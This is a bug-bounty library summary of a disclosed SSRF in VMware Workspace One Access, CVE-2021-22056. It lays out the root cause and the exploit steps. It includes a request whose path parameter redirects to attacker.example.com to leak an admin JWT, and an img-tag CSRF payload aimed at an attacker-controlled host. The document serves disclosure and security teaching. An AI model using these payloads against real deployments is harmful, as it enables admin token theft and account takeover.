# Stealing administrative JWT's through post auth SSRF (CVE-2021-22056)

Post-auth SSRF in VMware Workspace One Access instanceHealth via unvalidated path param allows @-injection to redirect requests and leak admin JWT Authorization header.

- Payout: Research
- Severity: high
- Program: VMware Workspace One Access
- Credited: Assetnote
- Disclosed: 2024-01-31
- CVE: CVE-2021-22056
- Write-up quality: 7/10
- Original: https://www.assetnote.io/resources/research/stealing-administrative-jwts-through-post-auth-ssrf-cve-2021-22056
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-stealing-administrative-jwts-through-post-auth-ssrf-cve-2021-22056
- Tags: domain:web impact:ato impact:internal-access kind:research platform:research sev:high tech:java technique:chained technique:source-review vuln:csrf vuln:info-disclosure vuln:ssrf

**Target:** Spring REST endpoint /SAAS/API/1.0/REST/system/health/instanceHealth
**Root cause:** The path parameter is concatenated into the URL as "https://" + hostname + path without a trailing slash, so an attacker-supplied path starting with @ overrides the host via URL userinfo syntax. The HTTP client also attaches the admin's signed Authorization token to the redirected request.
**Steps:**
1. Obtain cluster hostname via /SAAS/jersey/manager/api/system/clusterInstances?activeOnly=false or guess it
2. Send GET /SAAS/API/1.0/REST/system/health/instanceHealth?hostName=<clusterhost>&path=@attacker.example.com
3. Server builds URL https://<clusterhost>@attacker.example.com and requests attacker host
4. Attacker host receives request with Authorization: <admin signed JWT> header
5. Read full HTTP response returned by the endpoint for internal SSRF
**How found:** Source review of the Spring app: mapped web.xml servlet prefix to controller RequestMappings, then searched for HTTP client sinks (CloseableHttpClient) and traced getStatusFromRemoteHost back to the instanceHealth controller; noticed hostname was whitelisted but path was concatenated unvalidated without a slash, enabling @-injection.
**Exploitation:** Attacker embeds <img src="https://access.reverse.test/SAAS/API/1.0/REST/system/health/instanceHealth?hostName=access.reverse.test&path=@attackercontrolledhost.com"/> in HTML; when an authenticated admin views it, the browser sends the request with session cookies, the server makes the SSRF request to the attacker host carrying the admin's signed Authorization token, which the attacker captures.
**Escalation:** Chained SSRF with CSRF via image tag to steal an administrative JWT without direct access, enabling account takeover of admin.
**Insight:** When a URL is built as scheme + validated_host + unvalidated_path with no separator, an @ in the path turns the host into userinfo and redirects the request; also check whether the HTTP client attaches auth headers to such requests, turning SSRF into token theft.